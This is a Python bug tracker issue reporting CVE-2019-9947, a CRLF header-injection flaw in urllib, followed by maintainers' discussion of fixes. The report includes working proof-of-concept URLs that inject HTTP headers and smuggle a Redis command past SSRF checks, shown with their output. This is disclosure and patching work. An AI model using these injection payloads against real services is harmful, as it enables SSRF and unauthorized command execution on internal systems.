» Issue35906

This issue tracker **has been migrated to GitHub**, and is currently **read-only**.
For more information, **see the GitHub FAQs in the Python's Developer Guide.**

This issue has been migrated to GitHub:
https://github.com/python/cpython/issues/80087

classification

Title:	[CVE-2019-9947] Header Injection in urllib		
Type:	security	**Stage**:	resolved
Components:	Library (Lib)	**Versions**:	Python 3.8, Python 3.7, Python 3.6, Python 3.4, Python 3.5, Python 2.7

process

Status:	closed	**Resolution**:	duplicate
Dependencies:		**Superseder**:	[security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699) View: ~~30458~~
Assigned To:		**Nosy List**:	christian.heimes, gregory.p.smith, martin.panter, matrixise, orsenthil, push0ebp, vstinner, ware
Priority:	normal	**Keywords**:	patch, patch, patch

Created on **2019-02-06 00:32** by **push0ebp**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Pull Requests

URL	Status	Linked	Edit
PR 11768	closed	matrixise, 2019-02-06 08:30	
PR 12524	closed	push0ebp, 2019-03-24 14:24	

Messages (7)

msg334896 - (view) **Author: Sihoon Lee (push0ebp) *** **Date: 2019-02-06 00:32**

```
this patch can also be broken by path and query string.
http://www.cvedetails.com/cve/CVE-2016-5699/
https://bugs.python.org/issue30458

can succeed to inject HTTP header and be more critical by bypassing illegal
header check
```

```
# Vulnerability PoC

>>> import urllib.request

>>> urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader:
Value\r\nHeader2: \r\n')
or
>>> urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader:
Value\r\nHeader2: \r\n')

> nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:1234
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" with
this injection.

>>> urllib2.urlopen('http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN
POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with:
`HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning
with: `identity`, \r\n'

$ redis-cli
127.0.0.1:6379> GET VULN
"POC"


# Root Cause
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262

- _hostprog = re.compile('^//([^/?]*)(.*)$')
+ _hostprog = re.compile('//([^/#?]*)(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is
affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header
```

check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has submitted issue still now XDD)

msg334906 - (view) **Author: Stéphane Wirtel (matrixise) *** **Date: 2019-02-06 08:32**

Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by your feedback.

Thank you

msg334999 - (view) **Author: Sihoon Lee (push0ebp) *** **Date: 2019-02-07 03:05**

Sorry, I'm late.
My review is here. **https://github.com/python/cpython/pull/11768**

msg335000 - (view) **Author: Martin Panter (martin.panter) *** **Date: 2019-02-07 03:34**

Maybe related to Victor's "Issue 1" described in ~~**Issue 32085**~~. That is also a security bug about CRLF in the URL's path, but was opened before ~~**Issue 30500**~~ was opened and the code changed, so I'm not sure if it is the same as this or not.

Also there is **Issue 13359**, a proposal to automatically percent-encode invalid URLs. For a security fix, I'm not sure but it might be safer to raise an exception, rather than rewriting the invalid URL to a valid one.

msg335005 - (view) **Author: Sihoon Lee (push0ebp) *** **Date: 2019-02-07 06:20**

Yes, I thought so. before the commit version i said, the previous version(~3.4.6), raised an exception(no host given~) in urlopen failing parsing host.
If this patch wants to be same as the previous version, It is right to raise an exception like the previous version.
I thought there is no exact answer, only depends on Python features.

msg339835 - (view) **Author: STINNER Victor (vstinner) *** **Date: 2019-04-10 08:51**

According to **https://bugzilla.redhat.com/show_bug.cgi?id=1695572**, the CVE-2019-9947 has been assigned to this issue.

msg339842 - (view) **Author: Gregory P. Smith (gregory.p.smith) *** **Date: 2019-04-10 09:32**

my fix proposed in ~~**issue30458**~~ fixes this issue.

i do not think this one deserved its own CVE; at least **https://nvd.nist.gov/vuln/detail/CVE-2019-9947**'s current text also points to the other one.

History

Date	User	Action	Args

2022-04-11 14:59:10	admin	set	github: 80087
2019-04-10 09:32:49	gregory.p.smith	set	keywords: **patch**, **patch**, **patch** status: open -> closed stage: patch review -> resolved
2019-04-10 09:32:36	gregory.p.smith	set	nosy: + **gregory.p.smith** messages: + **msg339842** superseder: **[security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699)** keywords: **patch**, **patch**, **patch** resolution: duplicate
2019-04-10 08:51:12	vstinner	set	title: Header Injection in urllib -> [CVE-2019-9947] Header Injection in urllib nosy: + **vstinner** messages: + **msg339835** keywords: **patch**, **patch**, **patch**
2019-04-09 15:44:44	ware	set	nosy: + **ware**
2019-03-24 14:31:57	xtreak	set	keywords: **patch**, **patch**, **patch** nosy: + **orsenthil**
2019-03-24 14:30:26	push0ebp	set	pull_requests: - **pull_request12476**
2019-03-24 14:25:01	push0ebp	set	pull_requests: + **pull_request12476**
2019-03-24 14:24:40	push0ebp	set	pull_requests: + **pull_request12475**
2019-03-24 14:18:17	push0ebp	set	pull_requests: - **pull_request12474**
2019-03-24 14:15:43	push0ebp	set	pull_requests: + **pull_request12474**
2019-02-07 06:20:03	push0ebp	set	messages: + **msg335005**
2019-02-07 03:34:00	martin.panter	set	keywords: **patch**, **patch**, **patch** messages: + **msg335000**
2019-02-07 03:05:31	push0ebp	set	messages: + **msg334999**
2019-02-06 08:56:06	matrixise	set	pull_requests: - **pull_request11730**
2019-02-06 08:55:55	matrixise	set	pull_requests: - **pull_request11731**
2019-02-06 08:32:11	matrixise	set	keywords: **patch**, **patch**, **patch** nosy: + **matrixise** messages: + **msg334906**
2019-02-06 08:30:42	matrixise	set	keywords: + **patch** stage: patch review pull_requests: + **pull_request11731**
2019-02-06 08:30:36	matrixise	set	keywords: + **patch** stage: (no value) pull_requests: + **pull_request11730**

2019-02-06 08:30:28	matrixise	set	keywords: + **patch** stage: (no value) pull_requests: + **pull_request11729**
2019-02-06 02:23:47	xtreak	set	nosy: + **martin.panter**
2019-02-06 00:33:33	rhettinger	set	nosy: + **christian.heimes**
2019-02-06 00:32:11	push0ebp	create	